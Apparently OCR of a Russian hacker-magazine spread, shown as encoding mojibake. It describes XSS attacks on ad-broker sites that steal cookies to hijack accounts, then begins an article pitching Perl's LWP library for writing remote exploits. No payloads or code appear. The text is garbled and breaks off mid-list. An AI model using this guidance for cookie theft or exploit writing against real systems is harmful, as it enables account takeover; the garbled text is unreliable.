íèêó ïðîâåñòè àòàêó íà ó÷àñòíèêà ñèñòå-
ìû, âïëîòü äî çàõâàòà àêêàóíòà.

Ïàññèâíûé XXSS. Ñàìûé ðàñïðîñòðà-
íåííûé âèä XSS. Äëÿ óñïåøíîé àòàêè
ó÷àñòíèê äîëæåí áûòü â ñèñòåìå (è â åãî
êóêèñàõ äîëæíà õðàíèòüñÿ èíôîðìàöèÿ
îá àâòîðèçàöèè). Ïîñëå ýòîãî çëîóìûø-
ëåííèê, ïîäãîòîâèâ ñîîòâåòñòâóþùèé
ðàáî÷èé XSS-êîä äëÿ óÿçâèìîé ñòðà-
íèöû, äîëæåí êàêèì-òî îáðàçîì çàñòà-
âèòü ïîëüçîâàòåëÿ ñèñòåìû èñïîëíèòü

åãî. Ýòî âîçìîæíî êàê ïóòåì ñîîáùå-
íèÿ æåðòâå (ïî òîé æå àñüêå) «ññûëêè»
íà ñòðàíèöó (îñòàíåòñÿ òîëüêî óáåäèòü
ïîëüçîâàòåëÿ çàéòè íà ýòó ñòðàíèöó),
òàê è ðàçìåùåíèÿ «ññûëêè» íà êàêîì-
òî ñàéòå (ïðè ýòîì ìîæíî ñïðÿòàòü èñ-
òèííûé àäðåñ, ÷òîáû ïîëüçîâàòåëü íè-
÷åãî íå çàïîäîçðèë). Ïîñëå òîãî êàê
æåðòâà, íè÷åãî íå ïîäîçðåâàÿ, ïîïàäåò
â ëîâóøêó, ñðàáàòûâàåò «çëîáíûé»
êîä è íàïàäàþùèé ïîëó÷àåò êóêèñ æåðò-
âû ñ àâòîðèçàöèîííîé èíôîðìàöèåé.
Ïðè ýòîì æåðòâà ïðîïóñêàåò âñå ìèìî
ãëàç è óøåé.

Ïîñëå ïîëó÷åíèÿ êîíôèäåíöèàëü-
íûõ äàííûõ ñ êóêèñàìè ó÷àñòíèêà ñèñ-
òåìû çëîóìûøëåííèê ìîæåò èñïîëüçî-
âàòü èõ äëÿ âõîäà â ñèñòåìó ðåêëàìíî-
ãî èíòåðíåò-áðîêåðà îò åãî èìåíè ñ ïîñ-
ëåäóþùèì íàíåñåíèåì óùåðáà êàê «îá-
âîðîâàííîìó» ó÷àñòíèêó, òàê è ñàìîìó
èíòåðíåò-áðîêåðó.

Àêòèâíûé XXSS. Ýòî ìåíåå ðàñïðîñò-
ðàíåííûé âèä XSS. Íî äàííàÿ óÿçâè-
ìîñòü îïàñíåå, òàê êàê ìîæåò íàíåñòè
âðåä áîëüøåìó êîëè÷åñòâó ó÷àñòíèêîâ
è ïðîöåññ òàêîé àòàêè áîëåå óïðîùåí-
íûé ïî ñðàâíåíèþ ñ ïàññèâíûì XSS.

Çëîóìûøëåííèê, èñïîëüçîâàâ àê-
òèâíóþ XSS-óÿçâèìîñòü, çàíîñèò ïðè-
ãîòîâëåííûé XSS-êîä â áàçó äàííûõ
ñèñòåìû ðåêëàìíîãî èíòåðíåò-áðîêåðà.
È äàëåå åìó íå íóæíî ìîðî÷èòü ñåáå ãî-
ëîâó çàìàíèâàíèåì æåðòâû â ëîâóøêó,
òàê êàê îíà ïîïàäàåòñÿ ñàìà, ïðîñòî

çàéäÿ â àêêàóíò ñèñòåìû è ïîñåòèâ òó
ñòðàíèöó, ãäå îòîáðàæàþòñÿ äàííûå
èç ÁÄ (âìåñòå ñ êîäîì çëîóìûøëåííè-
êà). Ïîëó÷àåòñÿ, æåðòâà ñàìîñòîÿòåëü-
íî îòäàåò ñâîè êóêèñû, îïÿòü æå, íè÷åãî
íå çàìåòèâ.

Ïîëó÷èâ êîíôèäåíöèàëüíûå äàí-
íûå ñ êóêèñàìè ó÷àñòíèêà ñèñòåìû,
çëîóìûøëåííèê, êàê è â ïåðâîì ñëó÷àå,
ìîæåò èñïîëüçîâàòü èõ äëÿ âõîäà â ñèñ-
òåìó ðåêëàìíîãî èíòåðíåò-áðîêåðà îò
èìåíè þçåðà ñ ïîñëåäóþùèì çàõâàòîì
àêêàóíòà.

XSS ââ DDOM ((DOM BBased XXSS). Îò-
äåëüíûé è âåñüìà îïàñíûé âèä óÿçâè-
ìîñòåé ìåæñàéòîâîãî ñêðèïòèíãà �
ñòàíäàðòíûå ôèëüòðû ïðîòèâ êëàññè-
÷åñêèõ XSS â ýòîì ñëó÷àå íå ïîìîãóò.

Ìåòîäèêà àòàêè ïîäîáíà ìåòîäèêå
â ñëó÷àå ïàññèâíîãî XSS. Òî÷íî òàê æå
çëîóìûøëåííèê ïîäãîòàâëèâàåò çëîíà-
ìåðåííûé êîä äëÿ óÿçâèìîé ñòðàíèöû
è çàìàíèâàåò â ëîâóøêó ïîëüçîâàòåëÿ
ñèñòåìû. Ïîñëå ÷åãî ïîëó÷àåò åãî êóêèñ
è êîíòðîëü åãî àêêàóíòà. Ïðèíöèïèàëü-
íàÿ ðàçíèöà � â îñîáåííîñòÿõ ðàáîòû
XSS â DOM � ôèëüòðû, íàïðàâëåííûå
íà êëàññè÷åñêèå XSS, íå ïîìîãàþò (ê ïðè-
ìåðó, ôèëüòðàöèÿ óãëîâûõ ñêîáîê),
è çàäàííûé êîä âûïîëíÿåòñÿ íà óÿçâè-
ìîé ñòðàíèöå.

Ïîäîáíûå óÿçâèìîñòè ìîãóò âñòðå-
÷àòüñÿ êàê â êîäå ñèñòåì ðåêëàìíûõ èí-
òåðíåò-áðîêåðîâ, òàê è â ïàðòíåðñêîì
êîäå ñèñòåìû êîíòåêñòíîé ðåêëàìû.
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Ýòà ñòàòüÿ íå ÿâëÿåòñÿ ðóêîâîäñòâîì ïî ïðîãðàì-
ìèðîâàíèþ íà Perl, ðàâíî êàê è íå ÿâëÿåòñÿ ðóêîâî-
äñòâîì ïî íàïèñàíèþ ýêñïëîéòîâ: â íåé ìû êîðîòêî
ðàññìîòðèì îñíîâíûå èíñòðóìåíòû, êîòîðûå ìîãóò
äëÿ ýòîãî ïîòðåáîâàòüñÿ.

Åñëè òû îïûòíûé ñåêüþðèòè-ñïåöèàëèñò è çíà-
åøü «÷òî ïî÷åì» â ìèðå ñåòåâîé áåçîïàñíîñòè, òî
ñëåäóþùèé àáçàö ìîæåøü ñìåëî ïðîïóñòèòü. Â ñëó-
÷àå æå, åñëè òû òîëüêî ïëàíèðóåøü ïðèñòóïèòü ê íà-
ïèñàíèþ ñîáñòâåííûõ ýêñïëîéòîâ è ïîäûñêèâàåøü
èíñòðóìåíòû, ÿ ïðåäñòàâëþ òâîåìó âíèìàíèþ îäèí
òàêîé è îáîñíóþ, ÷åì è êàê îí ìîæåò áûòü ïîëåçåí.
Äëÿ ÷òåíèÿ ýòîé ñòàòüè íåîáõîäèìû ëèøü áàçîâûå
çíàíèÿ Perl, òàê ÷òî íå ñòîèò ïóãàòüñÿ, åñëè ýòîò ÿçûê
òåáå íå çíàêîì. Ïðèìåðû ïðîñòû íàñòîëüêî, ÷òî,
ïðè íàëè÷èè îïûòà ïðîãðàììèðîâàíèÿ íà ëþáîì
äðóãîì ÿçûêå, òû ëåãêî ñìîæåøü â íèõ ðàçîáðàòüñÿ.

À äëÿ íà÷àëà äàâàé âñïîìíèì, ÷òî æå òàêîå
ýêñïëîéò, êàê åãî ïèñàòü, è, ãëàâíîå, ÷åì íàì â ýòîì
íåëåãêîì äåëå ìîæåò ïîìî÷ü Perl.

Èòàê, ýêñïëîéò (exploit, àíãë.) â ïåðåâîäå
c âðàæåñêîãî îçíà÷àåò «èñïîëüçîâàòü, ïîëüçîâàòü-
ñÿ, ýêñïëóàòèðîâàòü». Â íàøåì ñëó÷àå ìû ýêñïëóà-
òèðóåì óÿçâèìîñòè, íàéäåííûå â àòàêóåìîì ñîôòå.
Òàêèì îáðàçîì, ýêñïëîéò � ýòî êîä, êîòîðûé ñîç-

äàåò óñëîâèÿ äëÿ èñïîëüçîâàíèÿ è èñïîëüçóåò íåêî-
òîðóþ óÿçâèìîñòü â àòàêóåìîì ïðèëîæåíèè ñ íåêè-
ìè, íåñîìíåííî çëîâåùèìè, öåëÿìè. ×òî æå ýòî ìî-
ãóò áûòü çà öåëè? Äà êàêèå óãîäíî, íà÷èíàÿ
DoS-àòàêîé íà êëèåíòñêèé êîìïüþòåð è çàêàí÷èâàÿ
âûïîëíåíèåì çëîâðåäíîãî øåëë-êîäà íà ñåðâåðå.
Ïîíÿòíî, ÷òî òèï ýêñïëîéòà çàâèñèò îò òèïà óÿçâè-
ìîñòè è öåëåé, êîòîðûå ïðåñëåäóåò âçëîìùèê. Îä-
íàêî åñòü íàèáîëåå îáùèé êëàññ çàäà÷, â êîíòåêñòå
êîòîðûõ ìû è ïðèãëÿäèìñÿ ê Perl.

Íàèáîëåå ÷àñòî ïðèõîäèòñÿ ïèñàòü óäàëåííûå
ýêñïëîéòû, êîòîðûå íå ïîäðàçóìåâàþò íàëè÷èÿ ïðÿ-
ìîãî äîñòóïà ê öåëåâîé ìàøèíå, à èñïîëüçóþò ïðå-
äîñòàâëÿåìûé ýòîé ìàøèíîé óäàëåííûé ñåðâèñ. ×òî
íàì ìîæåò ïîòðåáîâàòüñÿ äëÿ íàïèñàíèÿ óäàëåííî-
ãî ýêñïëîéòà? Î÷åâèäíî, ìîäóëè, ïîçâîëÿþùèå ôîð-
ìèðîâàòü ñîåäèíåíèÿ íà âñåõ óðîâíÿõ ñòåêà ïðîòîêî-
ëîâ TCP/IP. Ïî÷åìó ÿ ðåêîìåíäóþ èñïîëüçîâàòü äëÿ
ýòèõ öåëåé Perl? Perl, íà ìîé âçãëÿä, ÷ðåçâû÷àéíî
ïðîñò â îñâîåíèè. Äëÿ ÷åëîâåêà, çíàêîìîãî ñ Ñ/Ñ++,
îñâîåíèå ñèíòàêñèñà Perl çàéìåò ìàêñèìóì äåíü-
äâà. Äëÿ ïðèìåðà, îäèí ìîé çíàêîìûé ;), êîãäà òîãî
ïîòðåáîâàëà ñèòóàöèÿ, îñâîèë îñíîâíûå èíñòðóìåí-
òû Perl è íàïèñàë ïåðâûé ñêðèïò íà 200-300 ñòðîê
â òå÷åíèå 10 ÷àñîâ. Íàäî çàìåòèòü, ÷òî îí îòíþäü
íå ïîëèãëîò. Perl ÷ðåçâû÷àéíî ãèáîê è íå íàâÿçûâà-
åò êàêîé-òî êîíêðåòíûé ñòèëü ïðîãðàììèðîâàíèÿ.
Åñòü Perl-ñêðèïòû, êîòîðûå ïðè ïîâåðõíîñòíîì ïðîñ-
ìîòðå ñëîæíî îòëè÷èòü îò C, åñòü íàïèñàííûå â

«ðîäíîì» äëÿ Perl ñêðèïòîâîì ñòèëå. Ñóùåñòâóåò
ìíîãî ñïîñîáîâ ñäåëàòü îäíî è òî æå, è äëÿ êàæäîé
êîíêðåòíîé çàäà÷è òû âîëåí âûáèðàòü òîò èíñòðó-
ìåíò, êîòîðûé òåáå ïðåäñòàâëÿåòñÿ ñàìûì ïîäõîäÿ-
ùèì � ýòî îñíîâíàÿ èäåîëîãèÿ Perl. Ìàëî òîãî, ïî
êîëè÷åñòâó âîçìîæíîñòåé ýòî îäèí èç ñàìûõ áîãàòûõ
ÿçûêîâ � îäíè ðåãóëÿðíûå âûðàæåíèÿ ÷åãî ñòîÿò.
Ñëåäóåò îòìåòèòü, ÷òî íà Perl ìîæíî ïèñàòü î÷åíü êî-
ðîòêèå è ïðè ýòîì ÷ðåçâû÷àéíî ôóíêöèîíàëüíûå
ñêðèïòû. Ïîìèìî ýòîãî, ÿçûê ïîçâîëÿåò ðàçâèâàòü
íåõèëóþ ñêîðîñòü ðàçðàáîòêè, â ñðàâíåíèè ñ òåì
æå C, îáëàäàÿ, êàê óæå áûëî ñêàçàíî, âïîëíå äîñòà-
òî÷íîé ôóíêöèîíàëüíîñòüþ. Íàïðèìåð, ÿ, äà è íå ÿ
îäèí, ÷àñòî èñïîëüçóþ Perl äëÿ íàïèñàíèÿ ïðèêèäî÷-
íîãî ìàêåòà áóäóùåé óòèëèòû. È êàê òîëüêî ñòàíî-
âèòñÿ ÿñíî, êàê ñëåäóåò îðãàíèçîâàòü êîä è êàêèå
âîçìîæíû óçêèå ìåñòà, ìîæíî ïðèñòóïàòü ê ïåðåïè-
ñûâàíèþ êîäà íà êîìïèëèðóåìîì ÿçûêå (íàïðèìåð,
Ñ), åñëè, êîíå÷íî, ñêîðîñòü âûïîëíåíèÿ ÿâëÿåòñÿ
êðèòè÷íîé. Àõ äà, ñîâñåì çàáûë: îñíîâíîé è ñàìûé
æèðíûé áîíóñ Perl � ýòî ñêëàä ãîòîâûõ ðåøåíèé íà
âñå ñëó÷àè æèçíè � CPAN (ïîäðîáíåé ÷èòàé íà âðåç-
êå). Åñëè âîçíèêàåò æåëàíèå íàïèñàòü «êàêóþ-íè-
áóäü ïîëåçíóþ áèáëèîòå÷êó», òî ñ áîëüøîé âåðîÿò-
íîñòüþ ÷òî-òî ïîäîáíîå óæå åñòü íà CPAN. Åùå Perl
ïîçâîëÿåò îñóùåñòâëÿòü ðàáîòó ñ ñèñòåìîé íà íèç-
êîì óðîâíå (ê ïðèìåðó, ðåàëèçîâàíà ðàáîòà ñ ñèñ-
òåìíûìè âûçîâàìè è ñèãíàëàìè Unix, ÷òî ìîæåò
áûòü êðàéíå ïîëåçíî ïðè íàïèñàíèè ýêñïëîéòîâ).
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Íó è, íàêîíåö, Perl îáëàäàåò íåèëëþçîðíîé ïåðåíî-
ñèìîñòüþ, ÷òî òàêæå ÷ðåçâû÷àéíî âàæíî. Åñëè âîç-
íèêíåò íåîáõîäèìîñòü çàïóñòèòü óäàëåííûé
ýêñïëîéò íà êàêîì-ëèáî øåëëå, ýòî ïîëó÷èòñÿ ïî÷òè
íàâåðíÿêà, íåâçèðàÿ íà óñòàíîâëåííóþ íà øåëëå
îïåðàöèîííóþ ñèñòåìó. Êîíå÷íî, åñëè êîä íå áóäåò
îïèðàòüñÿ íà îñîáåííîñòè êîíêðåòíîé îïåðàöèîíêè,
è íà íóæíîé íàì ìàøèíå áóäåò óñòàíîâëåí Perl-èí-
òåðïðåòàòîð. Îá îñîáåííîñòÿõ Perl ìîæíî ãîâîðèòü
î÷åíü äîëãî, íî äàííàÿ ñòàòüÿ íåìíîãî íå îá ýòîì :).
Â îáùåì, ÿ óâåðåí, ÷òî âñåì, êòî òîëüêî íà÷èíàåò ïè-
ñàòü ñâîè ýêñïëîéòû, ñòîèò ïîïðîáîâàòü äåëàòü ýòî
íà Perl, êàê íà ñàìîì âûèãðûøíîì ïî ñîîòíîøåíèþ
«çàòðàòû/ðåçóëüòàò» èíñòðóìåíòå.

ïðîñòàÿ ððàáîòà ññ www. ×òî ìîæåò íàì â ïåð-
âóþ î÷åðåäü ïîíàäîáèòüñÿ ïðè íàïèñàíèè óäàëåííî-
ãî ýêñïëîéòà íà web-èíòåðôåéñ? Êîíå÷íî æå, âîç-
ìîæíîñòü ôîðìèðîâàòü HTTP-çàïðîñû è îáðàáàòû-
âàòü îòâåòû. Íàïðèìåð, ïðè ðåàëèçàöèè ýêñïëîéòà,
èñïîëüçóþùåãî SQL-èíúåêöèþ èëè ïåðåïîëíåíèå
áóôåðà (äà è âîîáùå, ëþáóþ óÿçâèìîñòü, îñíîâàí-
íóþ íà íåäîñòàòî÷íîé ôèëüòðàöèè ïàðàìåòðîâ web-
ñêðèïòîâ), ýòî, ôàêòè÷åñêè, åäèíñòâåííîå, ÷òî íàì
ïîíàäîáèòñÿ.

Ïåðâàÿ áèáëèîòåêà, êîòîðàÿ íàì ïðèãîäèòñÿ �
LWP (LWP � The World-Wide Web library for Perl).
Ïî íàçâàíèþ óæå ïðèìåðíî ïîíÿòíî, ÷òî ñ ïîìîùüþ
ýòîé áèáëèîòåêè ìîæíî ðàáîòàòü ñ www, è ñåé÷àñ ìû
âûÿñíèì, êàê èìåííî ýòî äåëàåòñÿ. Èòàê, ýòà áèáëè-
îòåêà ïðåäñòàâëÿåò ñîáîé íàáîð ìîäóëåé äëÿ ïðîñ-
òîé ðàáîòû ñ www: ñ åå ïîìîùüþ ìû ìîæåì ôîðìè-
ðîâàòü çàïðîñû ê êàêèì óãîäíî ñòàíäàðòíûì ñåðâè-
ñàì (ftp, http, file, smtp, etc.) è äàæå ïîñûëàòü e-mail'û.
Îäíàêî íàäî ïîìíèòü, ÷òî ïðîâåðêà ïðàâèëüíîñòè
çàïðîñîâ öåëèêîì ëîæèòñÿ íà íàñ, òàê êàê ñàì LWP-
ìîäóëü íå ãàðàíòèðóåò, ÷òî, ïîñëàâ êðèâîé çàïðîñ íà
êàêîé-ëèáî ñåðâåð, òû ïîëó÷èøü õîòü êàêîé-òî îòâåò.
Ðàáîòà ýòîãî ìîäóëÿ îñíîâàíà íà HTTP-style ñîåäè-
íåíèè, òî åñòü ñîåäèíåíèè ïî òèïó «çàïðîñ-îòâåò».
Ðàáîòàåò âñå ýòî î÷åíü ïðîñòî. Â íà÷àëå ìû ôîðìè-
ðóåì îáúåêò çàïðîñà HTTP::Request (íå ñòîèò ïóãàòü-
ñÿ óïîìèíàíèÿ ïðîòîêîëà HTTP â íàçâàíèè êëàññà �

îí óêàçûâàåò íà èñïîëüçóåìóþ èäåîëîãèþ ñîåäèíå-
íèÿ è íèêàê íå îãðàíè÷èâàåò èõ âîçìîæíûé òèï), ïîñ-
ëå ÷åãî ïåðåäàåì åãî â ìåòîä request êëàññà
LWP::UserAgent, êîòîðûé ïðåäñòàâëÿåò ñîáîé èíòåð-
ôåéñ, ñêðûâàþùèé âñþ íèçêîóðîâíåâóþ ðàáîòó
ñ ñåòüþ è âîçâðàùàþùèé îòâåò â âèäå îáúåêòà
HTTP::Response. Ñàì ïî ñåáå îáúåêò LWP::UserAgent
ñîäåðæèò ìíîãî àòðèáóòîâ, êîòîðûå êîíôèãóðèðóþò
åãî âçàèìîäåéñòâèå ñ ñåòüþ. Â ÷àñòíîñòè, ïðè ðàáî-
òå ñ HTTP íåêîòîðûå àòðèáóòû âñòðàèâàþòñÿ
â HTTP-çàãîëîâîê. Ðàññìîòðèì îñíîâíûå àòðèáóòû
îáúåêòà HTTP::Request:

� METHOD � ÑÒÐÎÊÀ, 
ÈÄÅÍÒÈÔÈÖÈÐÓÞÙÀß ÒÈÏ ÇÀÏÐÎÑÀ
(ÍÀÈÁÎËÅÅ ×ÀÑÒÎ ÈÑÏÎËÜÇÓÞÒÑß
POST, GET, PUT È Ò.Ä.).

� URI (UNIFORM RESOURCE IDENTIFIER) �
ÑÒÐÎÊÀ, ÑÎÄÅÐÆÀÙÀß ÏÐÎÒÎÊÎË,
ÑÅÐÂÅÐ È ÈÌß ÇÀÏÐÀØÈÂÀÅÌÎÃÎ
«ÄÎÊÓÌÅÍÒÀ», ÊÎÒÎÐÀß ÌÎÆÅÒ
ÑÎÄÅÐÆÀÒÜ È ÄÐÓÃÈÅ ÏÀÐÀÌÅÒÐÛ,
ÎÁÐÀÁÀÒÛÂÀÅÌÛÅ ÑÅÐÂÅÐÎÌ,
ÍÀÏÐÈÌÅÐ, «HTTP:://MEGASITING.EE:-
8080/SCRIPT.CGI?PARAM=PAM&PAM=PAM».

� HEADERS � Â ÎÁÙÅÌ ÑËÓ×ÀÅ �
ÄÎÏÎËÍÈÒÅËÜÍÀß ÈÍÔÎÐÌÀÖÈß
Î ÇÀÏÐÎÑÅ Â ÂÈÄÅ ÏÀÐ
«ÊËÞ×-ÇÍÀ×ÅÍÈÅ». Â ÑËÓ×ÀÅ
HTTP-ÑÎÅÄÈÅÍÈß � ÏÀÐÀÌÅÒÐÛ
ÇÀÃÎËÎÂÊÀ.

� CONTENT � ÄÀÍÍÛÅ, ÅÑËÈ ÎÍÈ
ÍÅÎÁÕÎÄÈÌÛ.
ÎÒÂÅÒ ÑÅÐÂÅÐÀ, ÊÀÊ ÓÆÅ ÁÛËÎ
ÓÏÎÌßÍÓÒÎ � ÝÒÎ ÎÁÚÅÊÒ
HTTP::RESPONSE, ÑÎÄÅÐÆÀÙÈÉ
ÑËÅÄÓÞÙÈÅ ÏÀÐÀÌÅÒÐÛ, ÄÎÑÒÓÏÍÛÅ
Ñ ÏÎÌÎÙÜÞ ÎÄÍÎÈÌÅÍÍÛÕ ÌÅÒÎÄÎÂ:

1 CODE � ÊÎÄ ÎÒÂÅÒÀ ÑÅÐÂÅÐÀ (200 �
ÂÑÅ ÍÎÐÌÀËÜÍÎ, 404 � FILE
NOT FOUND, 500 � ÎØÈÁÊÀ
ÏÐÈ ÎÁÐÀÁÎÒÊÅ ÑÊÐÈÏÒÀ�);

2 MESSAGE � ÊÐÀÒÊÎÅ ÏÎßÑÍÅÍÈÅ ÊÎÄÀ
ÂÎÇÂÐÀÒÀ (Â ÓÄÎÁÎ×ÈÒÀÅÌÎÉ ÔÎÐÌÅ);

3 HEADERS � ÏÀÐÀÌÅÒÐÛ ÇÀÃÎËÎÂÊÀ
ÎÒÂÅÒÀ. Â ÎÁÙÅÌ ÑËÓ×ÀÅ � ÎÏÈÑÀÍÈÅ
ÊÎÍÒÅÍÒÀ;

4 CONTENT � ÑÎÁÑÒÂÅÍÍÎ, ÄÀÍÍÛÅ.

Ïðîäåìîíñòðèðóåì, êàê âñå ýòî ðàáîòàåò íà ïðèìå-
ðå äîñòóïà ê HTTP-ñåðâåðó (ëèñòèíã 1).

Êàê ìû âèäèì, âñå î÷åíü ïðîñòî. Â ïåðâîé ñòðî÷-
êå ìû ïîäêëþ÷àåì ìîäóëü LWP::UserAgent, ïîñëå ÷åãî
ñîçäàåì íîâûé îáúåêò. Íàäî çàìåòèòü, ÷òî êîíñòðóêòî-
ðû â Perl îáû÷íî ïîíèìàþò ãèáêèé íàáîð ïàðàìåòðîâ.
Ýòî ñâÿçàíî ñ îñîáåííîñòÿìè ðåàëèçàöèè ÎÎ-ïîäõîäà
è ñïîñîáîì ïåðåäà÷è ïàðàìåòðîâ â ìåòîäû êëàññà (ìû

íå áóäåì óãëóáëÿòüñÿ â ýòó òåìó â ðàìêàõ äàííîé
ñòàòüè, òàê êàê îíà òÿíåò íà îòäåëüíûé ñïåö-âûïóñê).
Íàïðèìåð, LWP::UserAgent ìîæåò ïðèíèìàòü â êà÷åñò-
âå ïàðàìåòðîâ ïóñòîé ñïèñîê èëè íàáîð èç ïàð «êëþ÷-
çíà÷åíèå»: LWP::UserAgent->new(from!'pupkin@gov.no',
agent->'MyMegaMailSender/2.5.7', �) # ïðè ôîðìèðîâà-
íèè SMTP-çàïðîñà.

Â òðåòüåé ñòðîêå ïðèâåäåííîãî ëèñòèíãà
ìû ìåíÿåì îäèí èç àòðèáóòîâ çàïðîñà � agent, êî-
òîðûé ñëóæèò äëÿ èäåíòèôèêàöèè íàøåãî ïðèëî-
æåíèÿ. Â ñëó÷àå HTTP-çàïðîñà, ýòîò àòðèáóò âñòðà-
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CPAN (Comprehensive
Perl Archive Network)
CPAN (COMPREHENSIVE PERL ARCHIVE
NETWORK) � ÝÒÎ ÎÃÐÎÌÍÛÉ ÀÐÕÈÂ
ÂÑÅÂÎÇÌÎÆÍÎÃÎ ÑÎÔÒÀ ÍÀ PERL È ÄÎ-
ÊÓÌÅÍÒÀÖÈÈ Ê ÍÅÌÓ, ÊÎÒÎÐÛÉ ÐÀÑÏÎ-
ËÀÃÀÅÒÑß ÏÎ ÀÄÐÅÑÓ CPAN.ORG. ÑÒÐÀ-
ÍÈÖÀ SEARCH.CPAN.ORG � ÑÀÌÀß ÏÎ-
ÑÅÙÀÅÌÀß ÑÒÐÀÍÈÖÀ WEB-ÐÀÇÐÀÁÎÒ-
×ÈÊÀ, ÈÑÏÎËÜÇÓÞÙÅÃÎ Â ÑÂÎÅÉ ÐÀÁÎ-
ÒÅ PERL. ÎÍÀ ÑÎÄÅÐÆÈÒ ÂÑÞ ÍÅÎÁÕÎ-
ÄÈÌÓÞ ÄÎÊÓÌÅÍÒÀÖÈÞ ÏÎ ÑÒÀÍÄÀÐÒ-
ÍÛÌ ÂÎÇÌÎÆÍÎÑÒßÌ PERL È ÍÅÂÅÐÎ-
ßÒÍÓÞ ÊÓ×Ó ÂÑÅÂÎÇÌÎÆÍÛÕ ÃÎÒÎÂÛÕ
ÐÅØÅÍÈÉ, ÊÎÒÎÐÛÅ ÎÁÛ×ÍÎ ÕÎÐÎØÎ
ÄÎÊÓÌÅÍÒÈÐÎÂÀÍÛ. ËÈ×ÍÎ Ó ÌÅÍß ÎÁ-
ÄÓÌÛÂÀÍÈÅ ÊÀÊÎÉ-ËÈÁÎ ÇÀÄÀ×È ÍÀ-
×ÈÍÀÅÒÑß Ñ ÏÎÕÎÄÀ ÍÀ CPAN.ORG
È ÏÎÈÑÊÀ ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÕ ÌÎÄÓ-
ËÅÉ. ×ÀÙÅ ÂÑÅÃÎ ÍÓÆÍÛÅ ÌÍÅ ÌÎÄÓ-
ËÈ ÍÀÕÎÄßÒÑß, ×ÒÎ Î×ÅÍÜ, Î×ÅÍÜ
ÑÈËÜÍÎ ÝÊÎÍÎÌÈÒ ÂÐÅÌß, ÊÎÒÎÐÎÅ,
ÊÀÊ ÈÇÂÅÑÒÍÎ � ÄÅÍÜÃÈ. ÏÎ ØÈÐÎÊÎ
ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÎÌÓ ÌÍÅÍÈÞ,
CPAN � ÝÒÎ ÅÄÈÍÑÒÂÅÍÍÀß ÑÒÐÀÍÈÖÀ,
ÊÎÒÎÐÀß ÍÓÆÍÀ ÄËß ÏÎËÍÎÖÅÍÍÎÉ
ÐÀÁÎÒÛ Ñ PERL. ÄÎÁÀÂÈÒÜ ÑÂÎÉ ÌÎ-
ÄÓËÜ Â ÝÒÎÒ ÀÐÕÈÂ ÌÎÆÅÒ ÊÒÎ ÓÃÎÄ-
ÍÎ, ×ÒÎ ÏÎÌÈÌÎ ÍÅÑÎÌÍÅÍÍÛÕ ÁËÀÃ
ÏÎÐÎÆÄÀÅÒ È ÐßÄ ÏÐÎÁËÅÌ. ÈÑÏÎËÜ-
ÇÓß ÌÎÄÓËÈ, ÑÊÀ×ÀÍÍÛÅ Ñ CPAN,
ÒÛ ÄÅÉÑÒÂÓÅØÜ ÍÀ ÑÂÎÉ ÑÒÐÀÕ
È ÐÈÑÊ, ÈÁÎ ÎÍÈ ÏÎÑÒÀÂËßÞÒÑß ÁÅÇ
ÊÀÊÈÕ ËÈÁÎ ÃÀÐÀÍÒÈÉ. ×ÀÑÒÎ ÁÛÂÀÅÒ
ÒÀÊ, ×ÒÎ ÝÒÈ ÌÎÄÓËÈ ÏÐÎÑÒÎ-ÍÀÏÐÎ-
ÑÒÎ ÍÅ ÐÀÁÎÒÀÞÒ. ÍÎ ÂÑÅ-ÒÀÊÈ ÇÍÀ×È-
ÒÅËÜÍÎ ÁÎËÜØÅ ÒÅÕ, ÊÎÒÎÐÛÅ ÐÀÁÎ-
ÒÀÞÒ ÍÎÐÌÀËÜÍÎ. ×ÒÎÁÛ ÎÖÅÍÈÒÜ
ÌÎÙÜ ÝÒÎÃÎ ÀÐÕÈÂÀ, ÏÐÅÄËÀÃÀÞ ÒÅÁÅ
ÇÀÉÒÈ ÍÀ SEARCH.CPAN.ORG È ÏÎÏÐÎ-
ÁÎÂÀÒÜ ÒÀÊÈÅ ÇÀÏÐÎÑÛ, ÊÀÊ «WWW»,
«NET», «RSS» È ÒÀÊ ÄÀËÅÅ. ÄÓÌÀÞ,
ÒÛ ÁÓÄÅØÜ ÓÄÈÂËÅÍ ÎÁÈËÈÅÌ ÏÐÅÄ-
ËÀÃÀÅÌÛÕ ÐÅØÅÍÈÉ. ÁÅÇÓÑËÎÂÍÎ,
CPAN � ÝÒÎ ÎÄÈÍ ÈÇ ÑÀÌÛÕ ÂÅÑÎÌÛÕ
ÏËÞÑÎÂ PERL, ÊÎÒÎÐÛÉ ÏÎÄÎÃÐÅÂÀÅÒ
ËÞÁÎÂÜ ÅÃÎ ÏÎÊËÎÍÍÈÊÎÂ.



èâàåòñÿ â çàãîëîâîê, èäåíòèôèöèðóÿ áðàóçåð. Äà-
ëåå ìû ôîðìèðóåì îáúåêò êëàññà HTTP::Request
è ïåðåäàåì åãî â êà÷åñòâå ïàðàìåòðà â ìåòîä
request, ïîñëå ÷åãî îáðàáàòûâàåì ïîëó÷åííûé ðå-
çóëüòàò. Ìåòîä is_success (ñóùåñòâóåò òàêæå îá-
ðàòíûé ìåòîä is_error) ïðîâåðÿåò êîä îòâåòà ñåðâå-
ðà è âîçâðàùàåò 1 â ñëó÷àå óñïåõà. Äóìàþ, ñêðèïò
äîñòàòî÷íî ïðîñò è íå òðåáóåò äîïîëíèòåëüíûõ
êîììåíòàðèåâ.

Íåñìîòðÿ íà òî, ÷òî âåñü îñíîâíîé ôóíêöèî-
íàë ðåàëèçîâàí â ðàìêàõ îáúåêòíî-îðèåíòèðîâàí-
íîé êîíöåïöèè, åñòü âîçìîæíîñòü èñïîëüçîâàòü è
êðàòêèé ïðîöåäóðíûé èíòåðôåéñ, êîòîðîãî ìîæåò
õâàòèòü â áîëüøèíñòâå ñëó÷àåâ. Ðåàëèçîâàíà ýòà
âîçìîæíîñòü â âèäå ìîäóëÿ LWP::Simple, â êîòîðîì
äîñòóïíû ñëåäóþùèå ìåòîäû:

� GGEETT(($$UURRLL)) � ÏÎËÓ×ÀÅÒ ÄÎÊÓÌÅÍÒ, ÓÊÀ-

ÇÀÍÍÛÉ Â $URL, ÃÄÅ $URL � ÑÒÐÎÊÀ;

� HHEEAADD(($$UURRLL)) � ÏÎËÓ×ÀÅÒ ÏÀÐÀÌÅÒÐÛ

ÇÀÃÎËÎÂÊÀ ÎÒÂÅÒÀ;

� GGEETTPPRRIINNTT(($$UURRLL)) � ÏÎËÓ×ÀÅÒ È ÐÀÑÏÅ-

